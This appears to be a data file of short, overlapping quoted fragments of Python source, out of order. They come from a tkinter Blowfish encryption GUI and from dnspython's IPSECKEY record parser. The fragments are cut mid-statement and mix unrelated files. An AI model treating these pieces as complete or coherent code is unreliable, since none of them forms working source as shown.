"pady=5, sticky=\"w\") combo_iv_type = tkinter.ttk.Combobox(root, width=5, state=\"readonly\") combo_iv_type[\"values\"] = (\"Text\",",
"pady=5, columnspan=4, sticky=\"w\") label_ctr.grid_remove() # Set callback functions combo_mode.bind('<<ComboboxSelected>>', lambda",
"= tkinter.Label(root, text=\"Key type:\") label_key_type.grid(row=1, column=0, padx=5, pady=5, sticky=\"w\") combo_key_type",
"be in the range from 4 bytes and 56 bytes.\")",
"<NAME> # All rights reserved. # # Redistribution and use",
"width=5, state=\"readonly\") combo_iv_type[\"values\"] = (\"Text\", \"Hex\") combo_iv_type.current(0) combo_iv_type.grid(row=2, column=1, padx=5,",
"ek=entry_key, cit=combo_iv_type, ei=entry_iv: encrypt(data, root, cm, ckt, ek, cit, ei))",
"Copyright (c) 2019, <NAME> # All rights reserved. # #",
"ei): blowfish_mode = {\"ECB\":Cryptodome.Cipher.Blowfish.MODE_ECB, \"CBC\":Cryptodome.Cipher.Blowfish.MODE_CBC, \"CFB\":Cryptodome.Cipher.Blowfish.MODE_CFB, \"OFB\":Cryptodome.Cipher.Blowfish.MODE_OFB, \"CTR\":Cryptodome.Cipher.Blowfish.MODE_CTR} mode =",
"Cryptodome.Cipher.Blowfish.block_size) d = cipher.encrypt(data) except Exception as e: tkinter.messagebox.showerror(\"Error:\", message=e)",
"Decrypted successfully def combo_mode_selected(root, cm, cit, ei, lc): mode =",
"def combo_mode_selected(root, cm, cit, ei, lc): mode = cm.get() if",
"label_mode = tkinter.Label(root, text=\"Mode:\") label_mode.grid(row=0, column=0, padx=5, pady=5, sticky=\"w\") combo_mode",
"type:\") label_iv_type.grid(row=2, column=0, padx=5, pady=5, sticky=\"w\") combo_iv_type = tkinter.ttk.Combobox(root, width=5,",
"cit, ei, lc)) combo_mode.bind(\"<Return>\", lambda event, data=data, root=root, cm=combo_mode, ckt=combo_key_type,",
"THE USE OF THIS SOFTWARE, EVEN IF # ADVISED OF",
"CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, #",
"pady=5, sticky=\"w\") entry_key.focus() # Focus to this widget label_iv_type =",
"\"OFB\":Cryptodome.Cipher.Blowfish.MODE_OFB, \"CTR\":Cryptodome.Cipher.Blowfish.MODE_CTR} mode = cm.get() key_type = ckt.get() key =",
"INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, #",
"ei)) entry_iv.bind(\"<Return>\", lambda event, data=data, root=root, cm=combo_mode, ckt=combo_key_type, ek=entry_key, cit=combo_iv_type,",
"position sw = root.winfo_screenwidth() sh = root.winfo_screenheight() root.update_idletasks() # Necessary",
"following disclaimer in the # documentation and/or other materials provided",
"HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, # WHETHER",
"OF THE POSSIBILITY OF SUCH DAMAGE. import binascii import re",
"iv, segment_size=Cryptodome.Cipher.Blowfish.block_size * 8) elif mode in [\"CBC\", \"OFB\"]: cipher",
"ek, cit, ei)) entry_iv.bind(\"<Return>\", lambda event, data=data, root=root, cm=combo_mode, ckt=combo_key_type,",
"window ww = root.winfo_width() wh = root.winfo_height() root.geometry('+%d+%d' % ((sw/2)",
"LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR # OTHERWISE) ARISING IN",
"ei))) button.grid(row=3, column=0, padx=5, pady=5, columnspan=4) label_ctr = tkinter.Label(root, text=\"Note:\\nThe",
"(c) 2019, <NAME> # All rights reserved. # # Redistribution",
"mode = cm.get() key_type = ckt.get() key = ek.get() iv_type",
"2. Redistributions in binary form must reproduce the above copyright",
"entry_key.grid(row=1, column=3, padx=5, pady=5, sticky=\"w\") entry_key.focus() # Focus to this",
"= tkinter.Tk() root.title(\"Blowfish encrypt\") root.protocol(\"WM_DELETE_WINDOW\", (lambda r=root: r.quit())) label_mode =",
"pady=5, sticky=\"w\") entry_key = tkinter.Entry(width=32) entry_key.grid(row=1, column=3, padx=5, pady=5, sticky=\"w\")",
"OF THE USE OF THIS SOFTWARE, EVEN IF # ADVISED",
"this widget label_iv_type = tkinter.Label(root, text=\"IV type:\") label_iv_type.grid(row=2, column=0, padx=5,",
"padx=5, pady=5, sticky=\"w\") button = tkinter.Button(root, text=\"OK\", command=(lambda data=data, root=root,",
"must retain the above copyright notice, # this list of",
"= tkinter.ttk.Combobox(root, width=5, state=\"readonly\") combo_mode[\"values\"] = (\"ECB\", \"CBC\", \"CFB\", \"OFB\",",
"ek, cit, ei)) button.bind(\"<Return>\", lambda event, data=data, root=root, cm=combo_mode, ckt=combo_key_type,",
"DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR #",
"(INCLUDING, BUT NOT LIMITED TO, # PROCUREMENT OF SUBSTITUTE GOODS",
"root.quit() exit(1) # Not decrypted sys.stdout.buffer.write(d) root.quit() exit(0) # Decrypted",
"== \"Hex\": if re.match(\"^([0-9A-Fa-f]{2})+$\", iv): iv = binascii.a2b_hex(iv) else: tkinter.messagebox.showerror(\"Error:\",",
"CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR # OTHERWISE)",
"import Cryptodome.Cipher.Blowfish import Cryptodome.Util.Padding except ImportError: exit(-1) # PyCryptodome is",
"56: tkinter.messagebox.showerror(\"Error:\", message=\"Key size must be in the range from",
"root, cm, ckt, ek, cit, ei)) # These are disabled",
"IN NO EVENT SHALL THE COPYRIGHT HOLDER OR # CONTRIBUTORS",
"and the following disclaimer in the # documentation and/or other",
"blowfish_mode[mode], iv, segment_size=Cryptodome.Cipher.Blowfish.block_size * 8) elif mode in [\"CBC\", \"OFB\"]:",
"import sys import time import tkinter import tkinter.ttk import tkinter.messagebox",
"label_key.grid(row=1, column=2, padx=5, pady=5, sticky=\"w\") entry_key = tkinter.Entry(width=32) entry_key.grid(row=1, column=3,",
"# 2. Redistributions in binary form must reproduce the above",
"= len(key) if key_length < 4 or key_length > 56:"
] |
[
"tok.get().unescape() if t.is_eol_or_eof(): break if not t.is_identifier(): raise dns.exception.SyntaxError chunks.append(t.value)",
"that it's OK junk = dns.inet.inet_pton(dns.inet.AF_INET, gateway) elif gateway_type ==",
"IPv4 address, IPV6 address, or domain name @ivar key: the",
"gateway_type == 3: gateway = tok.get_name().choose_relativity(origin, relativize) else: gateway =",
"tok.get_name().choose_relativity(origin, relativize) else: gateway = tok.get_string() chunks = [] while",
"gateway = dns.inet.inet_ntop(dns.inet.AF_INET6, wire[current : current + 16]) current +=",
"b64 = ''.join(chunks) key = b64.decode('base64_codec') return cls(rdclass, rdtype, precedence,",
"if gateway != '.' and not gateway is None: raise",
"gateway = str(self.gateway.choose_relativity(origin, relativize)) else: raise ValueError('invalid gateway type') return",
"OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF",
"None, IPv4 address, IPV6 address, or domain name @ivar key:",
"self.gateway_type == 1: gateway = self.gateway elif self.gateway_type == 2:",
"that the above copyright notice and this permission notice #",
"current += 4 rdlen -= 4 elif gateway_type == 2:",
"if self.gateway_type == 0: pass elif self.gateway_type == 1: file.write(dns.inet.inet_pton(dns.inet.AF_INET,",
"int @ivar gateway: the public key @type gateway: None, IPv4",
"= str(self.gateway.choose_relativity(origin, relativize)) else: raise ValueError('invalid gateway type') return '%d",
"@type gateway_type: int @ivar algorithm: the algorithm to use @type",
"elif gateway_type == 3: pass else: raise SyntaxError('invalid IPSECKEY gateway",
"__init__(self, rdclass, rdtype, precedence, gateway_type, algorithm, gateway, key): super(IPSECKEY, self).__init__(rdclass,",
"rdtype, precedence, gateway_type, algorithm, gateway, key) from_text = classmethod(from_text) def",
"None: raise SyntaxError('invalid gateway for gateway type 0') gateway =",
"relativize) else: gateway = tok.get_string() chunks = [] while 1:",
"self.gateway_type == 0: gateway = '.' elif self.gateway_type == 1:",
"elif self.gateway_type == 3: self.gateway.to_wire(file, None, origin) else: raise ValueError('invalid",
"dns.inet import dns.name class IPSECKEY(dns.rdata.Rdata): \"\"\"IPSECKEY record @ivar precedence: the",
"data @type precedence: int @ivar gateway_type: the gateway type @type",
"tok.get_string() chunks = [] while 1: t = tok.get().unescape() if",
"the precedence for this key data @type precedence: int @ivar",
"== 0: pass elif self.gateway_type == 1: file.write(dns.inet.inet_pton(dns.inet.AF_INET, self.gateway)) elif",
"gateway_type self.algorithm = algorithm self.gateway = gateway self.key = key",
"notice # appear in all copies. # # THE SOFTWARE",
"type @type gateway_type: int @ivar algorithm: the algorithm to use",
"gateway type: %d' % gateway_type) self.precedence = precedence self.gateway_type =",
"DAMAGES OR ANY DAMAGES # WHATSOEVER RESULTING FROM LOSS OF",
"@ivar gateway: the public key @type gateway: None, IPv4 address,",
"== 3: pass else: raise SyntaxError('invalid IPSECKEY gateway type: %d'",
"not t.is_identifier(): raise dns.exception.SyntaxError chunks.append(t.value) b64 = ''.join(chunks) key =",
"if self.gateway_type == 0: gateway = '.' elif self.gateway_type ==",
"self.gateway_type == 1: file.write(dns.inet.inet_pton(dns.inet.AF_INET, self.gateway)) elif self.gateway_type == 2: file.write(dns.inet.inet_pton(dns.inet.AF_INET6,",
"gateway type @type gateway_type: int @ivar algorithm: the algorithm to",
"current += 16 rdlen -= 16 elif gateway_type == 3:",
"rdtype, wire, current, rdlen, origin = None): if rdlen <",
"raise dns.exception.FormError('invalid IPSECKEY gateway type') key = wire[current : current",
"algorithm = tok.get_uint8() if gateway_type == 3: gateway = tok.get_name().choose_relativity(origin,",
"ValueError('invalid gateway type') file.write(self.key) def from_wire(cls, rdclass, rdtype, wire, current,",
"documentation for any purpose with or without fee is hereby",
"ANY DAMAGES # WHATSOEVER RESULTING FROM LOSS OF USE, DATA",
"# provided that the above copyright notice and this permission",
"(self.precedence, self.gateway_type, self.algorithm, gateway, dns.rdata._base64ify(self.key)) def from_text(cls, rdclass, rdtype, tok,",
"None elif gateway_type == 1: # check that it's OK",
"dns.inet.inet_ntop(dns.inet.AF_INET6, wire[current : current + 16]) current += 16 rdlen",
"OR PROFITS, WHETHER IN AN # ACTION OF CONTRACT, NEGLIGENCE",
"self.gateway)) elif self.gateway_type == 3: self.gateway.to_wire(file, None, origin) else: raise",
"16 elif gateway_type == 3: (gateway, cused) = dns.name.from_wire(wire[: current",
"use, copy, modify, and distribute this software and its #",
"if gateway_type == 3: gateway = tok.get_name().choose_relativity(origin, relativize) else: gateway",
"= algorithm self.gateway = gateway self.key = key def to_text(self,",
"gateway_type == 1: gateway = dns.inet.inet_ntop(dns.inet.AF_INET, wire[current : current +",
"cused rdlen -= cused else: raise dns.exception.FormError('invalid IPSECKEY gateway type')",
"= '.' elif self.gateway_type == 1: gateway = self.gateway elif",
"provided that the above copyright notice and this permission notice",
"FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR #",
"gateway, key): super(IPSECKEY, self).__init__(rdclass, rdtype) if gateway_type == 0: if",
"the above copyright notice and this permission notice # appear",
"% (self.precedence, self.gateway_type, self.algorithm, gateway, dns.rdata._base64ify(self.key)) def from_text(cls, rdclass, rdtype,",
"def to_text(self, origin=None, relativize=True, **kw): if self.gateway_type == 0: gateway",
"return '%d %d %d %s %s' % (self.precedence, self.gateway_type, self.algorithm,",
"rdlen < 3: raise dns.exception.FormError header = struct.unpack('!BBB', wire[current :",
"IPSECKEY(dns.rdata.Rdata): \"\"\"IPSECKEY record @ivar precedence: the precedence for this key",
"0: gateway = None elif gateway_type == 1: gateway =",
"header = struct.unpack('!BBB', wire[current : current + 3]) gateway_type =",
"gateway_type == 2: gateway = dns.inet.inet_ntop(dns.inet.AF_INET6, wire[current : current +",
"else: raise SyntaxError('invalid IPSECKEY gateway type: %d' % gateway_type) self.precedence",
"gateway type') file.write(self.key) def from_wire(cls, rdclass, rdtype, wire, current, rdlen,",
"the public key @type key: string @see: RFC 4025\"\"\" __slots__",
"== 3: self.gateway.to_wire(file, None, origin) else: raise ValueError('invalid gateway type')",
"PERFORMANCE OF THIS SOFTWARE. import cStringIO import struct import dns.exception",
"file.write(dns.inet.inet_pton(dns.inet.AF_INET6, self.gateway)) elif self.gateway_type == 3: self.gateway.to_wire(file, None, origin) else:",
"16 rdlen -= 16 elif gateway_type == 3: (gateway, cused)",
"0') gateway = None elif gateway_type == 1: # check",
"raise dns.exception.FormError header = struct.unpack('!BBB', wire[current : current + 3])",
"dns.exception.FormError('invalid IPSECKEY gateway type') key = wire[current : current +",
"2006, 2007, 2009-2011 Nominum, Inc. # # Permission to use,",
"True): precedence = tok.get_uint8() gateway_type = tok.get_uint8() algorithm = tok.get_uint8()",
"file, compress = None, origin = None): header = struct.pack(\"!BBB\",",
"gateway = tok.get_string() chunks = [] while 1: t =",
"== 1: gateway = dns.inet.inet_ntop(dns.inet.AF_INET, wire[current : current + 4])",
"= struct.unpack('!BBB', wire[current : current + 3]) gateway_type = header[1]",
"def from_text(cls, rdclass, rdtype, tok, origin = None, relativize =",
"gateway_type, algorithm, gateway, key) from_text = classmethod(from_text) def to_wire(self, file,",
"else: raise dns.exception.FormError('invalid IPSECKEY gateway type') key = wire[current :",
"OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES # WHATSOEVER RESULTING FROM",
"file.write(self.key) def from_wire(cls, rdclass, rdtype, wire, current, rdlen, origin =",
"dns.inet.inet_pton(dns.inet.AF_INET6, gateway) elif gateway_type == 3: pass else: raise SyntaxError('invalid",
"= gateway self.key = key def to_text(self, origin=None, relativize=True, **kw):",
"gateway_type: the gateway type @type gateway_type: int @ivar algorithm: the",
"['precedence', 'gateway_type', 'algorithm', 'gateway', 'key'] def __init__(self, rdclass, rdtype, precedence,",
"= dns.name.from_wire(wire[: current + rdlen], current) current += cused rdlen",
"wire, current, rdlen, origin = None): if rdlen < 3:",
"ACTION, ARISING OUT # OF OR IN CONNECTION WITH THE",
"rdclass, rdtype, precedence, gateway_type, algorithm, gateway, key): super(IPSECKEY, self).__init__(rdclass, rdtype)",
"gateway_type == 3: (gateway, cused) = dns.name.from_wire(wire[: current + rdlen],",
"3: pass else: raise SyntaxError('invalid IPSECKEY gateway type: %d' %",
"1: gateway = self.gateway elif self.gateway_type == 2: gateway =",
"it's OK junk = dns.inet.inet_pton(dns.inet.AF_INET, gateway) elif gateway_type == 2:",
"ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES",
"LIABLE FOR # ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES",
"algorithm, gateway, key): super(IPSECKEY, self).__init__(rdclass, rdtype) if gateway_type == 0:",
"not gateway is None: raise SyntaxError('invalid gateway for gateway type",
"# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY",
"import dns.inet import dns.name class IPSECKEY(dns.rdata.Rdata): \"\"\"IPSECKEY record @ivar precedence:",
"pass elif self.gateway_type == 1: file.write(dns.inet.inet_pton(dns.inet.AF_INET, self.gateway)) elif self.gateway_type ==",
"!= '.' and not gateway is None: raise SyntaxError('invalid gateway",
"gateway = tok.get_name().choose_relativity(origin, relativize) else: gateway = tok.get_string() chunks =",
"to use, copy, modify, and distribute this software and its",
"-= 4 elif gateway_type == 2: gateway = dns.inet.inet_ntop(dns.inet.AF_INET6, wire[current",
"self.gateway_type = gateway_type self.algorithm = algorithm self.gateway = gateway self.key",
"== 1: file.write(dns.inet.inet_pton(dns.inet.AF_INET, self.gateway)) elif self.gateway_type == 2: file.write(dns.inet.inet_pton(dns.inet.AF_INET6, self.gateway))",
"4]) current += 4 rdlen -= 4 elif gateway_type ==",
"+ rdlen], current) current += cused rdlen -= cused else:",
"@type algorithm: int @ivar gateway: the public key @type gateway:",
"gateway, key) from_text = classmethod(from_text) def to_wire(self, file, compress =",
"**kw): if self.gateway_type == 0: gateway = '.' elif self.gateway_type",
"DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES # WHATSOEVER",
"DAMAGES # WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR",
"current += cused rdlen -= cused else: raise dns.exception.FormError('invalid IPSECKEY",
"OK junk = dns.inet.inet_pton(dns.inet.AF_INET6, gateway) elif gateway_type == 3: pass",
"gateway = '.' elif self.gateway_type == 1: gateway = self.gateway",
"+= cused rdlen -= cused else: raise dns.exception.FormError('invalid IPSECKEY gateway",
"import struct import dns.exception import dns.inet import dns.name class IPSECKEY(dns.rdata.Rdata):",
"= dns.inet.inet_pton(dns.inet.AF_INET6, gateway) elif gateway_type == 3: pass else: raise",
"ALL IMPLIED WARRANTIES OF # MERCHANTABILITY AND FITNESS. IN NO",
"gateway_type = tok.get_uint8() algorithm = tok.get_uint8() if gateway_type == 3:",
"t.is_eol_or_eof(): break if not t.is_identifier(): raise dns.exception.SyntaxError chunks.append(t.value) b64 =",
"@ivar precedence: the precedence for this key data @type precedence:",
"else: raise ValueError('invalid gateway type') file.write(self.key) def from_wire(cls, rdclass, rdtype,",
"current, rdlen, origin = None): if rdlen < 3: raise",
"\"AS IS\" AND NOMINUM DISCLAIMS ALL WARRANTIES # WITH REGARD",
"# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,",
"appear in all copies. # # THE SOFTWARE IS PROVIDED",
"WARRANTIES # WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED",
"= dns.inet.inet_ntop(dns.inet.AF_INET6, wire[current : current + 16]) current += 16",
"the public key @type gateway: None, IPv4 address, IPV6 address,",
"1: t = tok.get().unescape() if t.is_eol_or_eof(): break if not t.is_identifier():",
"wire[current : current + rdlen].unwrap() return cls(rdclass, rdtype, header[0], gateway_type,",
"return cls(rdclass, rdtype, precedence, gateway_type, algorithm, gateway, key) from_text =",
"from_wire(cls, rdclass, rdtype, wire, current, rdlen, origin = None): if",
"THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF # MERCHANTABILITY AND",
"WARRANTIES OF # MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL",
"relativize=True, **kw): if self.gateway_type == 0: gateway = '.' elif",
"self.algorithm, gateway, dns.rdata._base64ify(self.key)) def from_text(cls, rdclass, rdtype, tok, origin =",
"check that it's OK junk = dns.inet.inet_pton(dns.inet.AF_INET, gateway) elif gateway_type",
"16]) current += 16 rdlen -= 16 elif gateway_type ==",
"LOSS OF USE, DATA OR PROFITS, WHETHER IN AN #",
"= ''.join(chunks) key = b64.decode('base64_codec') return cls(rdclass, rdtype, precedence, gateway_type,",
"= dns.inet.inet_pton(dns.inet.AF_INET, gateway) elif gateway_type == 2: # check that",
"origin) else: raise ValueError('invalid gateway type') file.write(self.key) def from_wire(cls, rdclass,",
"type') file.write(self.key) def from_wire(cls, rdclass, rdtype, wire, current, rdlen, origin",
"SHALL NOMINUM BE LIABLE FOR # ANY SPECIAL, DIRECT, INDIRECT,",
"this software and its # documentation for any purpose with",
"IPSECKEY gateway type') key = wire[current : current + rdlen].unwrap()",
"\"\"\"IPSECKEY record @ivar precedence: the precedence for this key data",
"hereby granted, # provided that the above copyright notice and",
"if rdlen < 3: raise dns.exception.FormError header = struct.unpack('!BBB', wire[current",
"rdlen -= cused else: raise dns.exception.FormError('invalid IPSECKEY gateway type') key",
"2009-2011 Nominum, Inc. # # Permission to use, copy, modify,",
"without fee is hereby granted, # provided that the above",
"precedence, gateway_type, algorithm, gateway, key): super(IPSECKEY, self).__init__(rdclass, rdtype) if gateway_type",
"algorithm, gateway, key) from_text = classmethod(from_text) def to_wire(self, file, compress",
"2: gateway = dns.inet.inet_ntop(dns.inet.AF_INET6, wire[current : current + 16]) current",
"domain name @ivar key: the public key @type key: string",
"and not gateway is None: raise SyntaxError('invalid gateway for gateway",
"DISCLAIMS ALL WARRANTIES # WITH REGARD TO THIS SOFTWARE INCLUDING",
"struct.unpack('!BBB', wire[current : current + 3]) gateway_type = header[1] current",
"dns.exception import dns.inet import dns.name class IPSECKEY(dns.rdata.Rdata): \"\"\"IPSECKEY record @ivar",
"from_text = classmethod(from_text) def to_wire(self, file, compress = None, origin",
"= tok.get_name().choose_relativity(origin, relativize) else: gateway = tok.get_string() chunks = []",
"gateway_type == 0: if gateway != '.' and not gateway",
"# # THE SOFTWARE IS PROVIDED \"AS IS\" AND NOMINUM",
"cused) = dns.name.from_wire(wire[: current + rdlen], current) current += cused",
"classmethod(from_text) def to_wire(self, file, compress = None, origin = None):",
"is None: raise SyntaxError('invalid gateway for gateway type 0') gateway",
"OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS",
"3: gateway = tok.get_name().choose_relativity(origin, relativize) else: gateway = tok.get_string() chunks",
"elif gateway_type == 2: # check that it's OK junk",
"gateway = self.gateway elif self.gateway_type == 3: gateway = str(self.gateway.choose_relativity(origin,",
"+= 3 rdlen -= 3 if gateway_type == 0: gateway",
"%d' % gateway_type) self.precedence = precedence self.gateway_type = gateway_type self.algorithm",
"elif self.gateway_type == 1: file.write(dns.inet.inet_pton(dns.inet.AF_INET, self.gateway)) elif self.gateway_type == 2:",
"# appear in all copies. # # THE SOFTWARE IS",
"SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF # MERCHANTABILITY AND FITNESS.",
"TORTIOUS ACTION, ARISING OUT # OF OR IN CONNECTION WITH",
"OF USE, DATA OR PROFITS, WHETHER IN AN # ACTION",
"= tok.get_uint8() algorithm = tok.get_uint8() if gateway_type == 3: gateway",
"== 2: gateway = dns.inet.inet_ntop(dns.inet.AF_INET6, wire[current : current + 16])",
"pass else: raise SyntaxError('invalid IPSECKEY gateway type: %d' % gateway_type)",
"for any purpose with or without fee is hereby granted,",
"string @see: RFC 4025\"\"\" __slots__ = ['precedence', 'gateway_type', 'algorithm', 'gateway',",
"OK junk = dns.inet.inet_pton(dns.inet.AF_INET, gateway) elif gateway_type == 2: #",
"-= 3 if gateway_type == 0: gateway = None elif",
"rdlen].unwrap() return cls(rdclass, rdtype, header[0], gateway_type, header[2], gateway, key) from_wire",
"= True): precedence = tok.get_uint8() gateway_type = tok.get_uint8() algorithm =",
"while 1: t = tok.get().unescape() if t.is_eol_or_eof(): break if not",
"OTHER TORTIOUS ACTION, ARISING OUT # OF OR IN CONNECTION",
": current + 3]) gateway_type = header[1] current += 3",
"cused else: raise dns.exception.FormError('invalid IPSECKEY gateway type') key = wire[current",
"dns.exception.FormError header = struct.unpack('!BBB', wire[current : current + 3]) gateway_type",
"@type key: string @see: RFC 4025\"\"\" __slots__ = ['precedence', 'gateway_type',",
"IPSECKEY gateway type: %d' % gateway_type) self.precedence = precedence self.gateway_type",
"SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES #",
"gateway, dns.rdata._base64ify(self.key)) def from_text(cls, rdclass, rdtype, tok, origin = None,",
"= classmethod(from_text) def to_wire(self, file, compress = None, origin =",
"THE USE OR PERFORMANCE OF THIS SOFTWARE. import cStringIO import",
"address, IPV6 address, or domain name @ivar key: the public",
"if t.is_eol_or_eof(): break if not t.is_identifier(): raise dns.exception.SyntaxError chunks.append(t.value) b64",
"DATA OR PROFITS, WHETHER IN AN # ACTION OF CONTRACT,",
"@ivar gateway_type: the gateway type @type gateway_type: int @ivar algorithm:",
"+= 4 rdlen -= 4 elif gateway_type == 2: gateway",
"elif self.gateway_type == 3: gateway = str(self.gateway.choose_relativity(origin, relativize)) else: raise",
"import dns.exception import dns.inet import dns.name class IPSECKEY(dns.rdata.Rdata): \"\"\"IPSECKEY record",
"file.write(header) if self.gateway_type == 0: pass elif self.gateway_type == 1:",
"0: if gateway != '.' and not gateway is None:",
"raise SyntaxError('invalid IPSECKEY gateway type: %d' % gateway_type) self.precedence =",
"@type gateway: None, IPv4 address, IPV6 address, or domain name",
"struct import dns.exception import dns.inet import dns.name class IPSECKEY(dns.rdata.Rdata): \"\"\"IPSECKEY",
"and this permission notice # appear in all copies. #",
"gateway_type: int @ivar algorithm: the algorithm to use @type algorithm:",
"def to_wire(self, file, compress = None, origin = None): header",
": current + 16]) current += 16 rdlen -= 16",
"elif self.gateway_type == 2: gateway = self.gateway elif self.gateway_type ==",
"(C) 2006, 2007, 2009-2011 Nominum, Inc. # # Permission to",
"ARISING OUT # OF OR IN CONNECTION WITH THE USE",
"IN AN # ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS",
"to use @type algorithm: int @ivar gateway: the public key",
"None): if rdlen < 3: raise dns.exception.FormError header = struct.unpack('!BBB',",
"# OF OR IN CONNECTION WITH THE USE OR PERFORMANCE",
"FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN",
"= ['precedence', 'gateway_type', 'algorithm', 'gateway', 'key'] def __init__(self, rdclass, rdtype,",
": current + rdlen].unwrap() return cls(rdclass, rdtype, header[0], gateway_type, header[2],",
"self.gateway)) elif self.gateway_type == 2: file.write(dns.inet.inet_pton(dns.inet.AF_INET6, self.gateway)) elif self.gateway_type ==",
"purpose with or without fee is hereby granted, # provided",
"all copies. # # THE SOFTWARE IS PROVIDED \"AS IS\"",
"use @type algorithm: int @ivar gateway: the public key @type",
"== 3: (gateway, cused) = dns.name.from_wire(wire[: current + rdlen], current)",
"= None elif gateway_type == 1: # check that it's",
"(gateway, cused) = dns.name.from_wire(wire[: current + rdlen], current) current +=",
"= None): if rdlen < 3: raise dns.exception.FormError header =",
"THIS SOFTWARE. import cStringIO import struct import dns.exception import dns.inet",
"4 elif gateway_type == 2: gateway = dns.inet.inet_ntop(dns.inet.AF_INET6, wire[current :",
"cls(rdclass, rdtype, precedence, gateway_type, algorithm, gateway, key) from_text = classmethod(from_text)",
"THE SOFTWARE IS PROVIDED \"AS IS\" AND NOMINUM DISCLAIMS ALL",
"= None, origin = None): header = struct.pack(\"!BBB\", self.precedence, self.gateway_type,",
"REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF #",
"self.gateway_type == 0: pass elif self.gateway_type == 1: file.write(dns.inet.inet_pton(dns.inet.AF_INET, self.gateway))",
"current + 4]) current += 4 rdlen -= 4 elif",
"3: (gateway, cused) = dns.name.from_wire(wire[: current + rdlen], current) current",
"and its # documentation for any purpose with or without",
"modify, and distribute this software and its # documentation for",
"NOMINUM BE LIABLE FOR # ANY SPECIAL, DIRECT, INDIRECT, OR",
"= None elif gateway_type == 1: gateway = dns.inet.inet_ntop(dns.inet.AF_INET, wire[current",
"%s %s' % (self.precedence, self.gateway_type, self.algorithm, gateway, dns.rdata._base64ify(self.key)) def from_text(cls,",
"dns.name.from_wire(wire[: current + rdlen], current) current += cused rdlen -=",
"tok.get_uint8() gateway_type = tok.get_uint8() algorithm = tok.get_uint8() if gateway_type ==",
"ValueError('invalid gateway type') return '%d %d %d %s %s' %",
"== 0: gateway = '.' elif self.gateway_type == 1: gateway",
"tok, origin = None, relativize = True): precedence = tok.get_uint8()",
"type') return '%d %d %d %s %s' % (self.precedence, self.gateway_type,",
"Permission to use, copy, modify, and distribute this software and",
"current + rdlen], current) current += cused rdlen -= cused",
"4 rdlen -= 4 elif gateway_type == 2: gateway =",
"WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF",
"+ rdlen].unwrap() return cls(rdclass, rdtype, header[0], gateway_type, header[2], gateway, key)",
"from_text(cls, rdclass, rdtype, tok, origin = None, relativize = True):",
"self.gateway_type == 3: gateway = str(self.gateway.choose_relativity(origin, relativize)) else: raise ValueError('invalid",
"''.join(chunks) key = b64.decode('base64_codec') return cls(rdclass, rdtype, precedence, gateway_type, algorithm,",
"'%d %d %d %s %s' % (self.precedence, self.gateway_type, self.algorithm, gateway,",
"Nominum, Inc. # # Permission to use, copy, modify, and",
"AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR",
"OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT #",
"public key @type gateway: None, IPv4 address, IPV6 address, or",
"rdlen -= 16 elif gateway_type == 3: (gateway, cused) =",
"elif gateway_type == 1: gateway = dns.inet.inet_ntop(dns.inet.AF_INET, wire[current : current",
"precedence, gateway_type, algorithm, gateway, key) from_text = classmethod(from_text) def to_wire(self,",
"relativize = True): precedence = tok.get_uint8() gateway_type = tok.get_uint8() algorithm",
"precedence for this key data @type precedence: int @ivar gateway_type:",
"rdtype, precedence, gateway_type, algorithm, gateway, key): super(IPSECKEY, self).__init__(rdclass, rdtype) if",
"key @type key: string @see: RFC 4025\"\"\" __slots__ = ['precedence',",
"raise ValueError('invalid gateway type') file.write(self.key) def from_wire(cls, rdclass, rdtype, wire,",
"key @type gateway: None, IPv4 address, IPV6 address, or domain",
"'gateway_type', 'algorithm', 'gateway', 'key'] def __init__(self, rdclass, rdtype, precedence, gateway_type,",
"OUT # OF OR IN CONNECTION WITH THE USE OR",
"wire[current : current + 16]) current += 16 rdlen -=",
"= self.gateway elif self.gateway_type == 3: gateway = str(self.gateway.choose_relativity(origin, relativize))",
"current + 16]) current += 16 rdlen -= 16 elif",
"cStringIO import struct import dns.exception import dns.inet import dns.name class",
"distribute this software and its # documentation for any purpose",
"precedence: int @ivar gateway_type: the gateway type @type gateway_type: int",
"None, origin = None): header = struct.pack(\"!BBB\", self.precedence, self.gateway_type, self.algorithm)",
"Inc. # # Permission to use, copy, modify, and distribute",
"str(self.gateway.choose_relativity(origin, relativize)) else: raise ValueError('invalid gateway type') return '%d %d",
"WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER",
"or domain name @ivar key: the public key @type key:",
"2007, 2009-2011 Nominum, Inc. # # Permission to use, copy,",
"and distribute this software and its # documentation for any",
"== 0: if gateway != '.' and not gateway is",
"gateway for gateway type 0') gateway = None elif gateway_type",
"+ 16]) current += 16 rdlen -= 16 elif gateway_type",
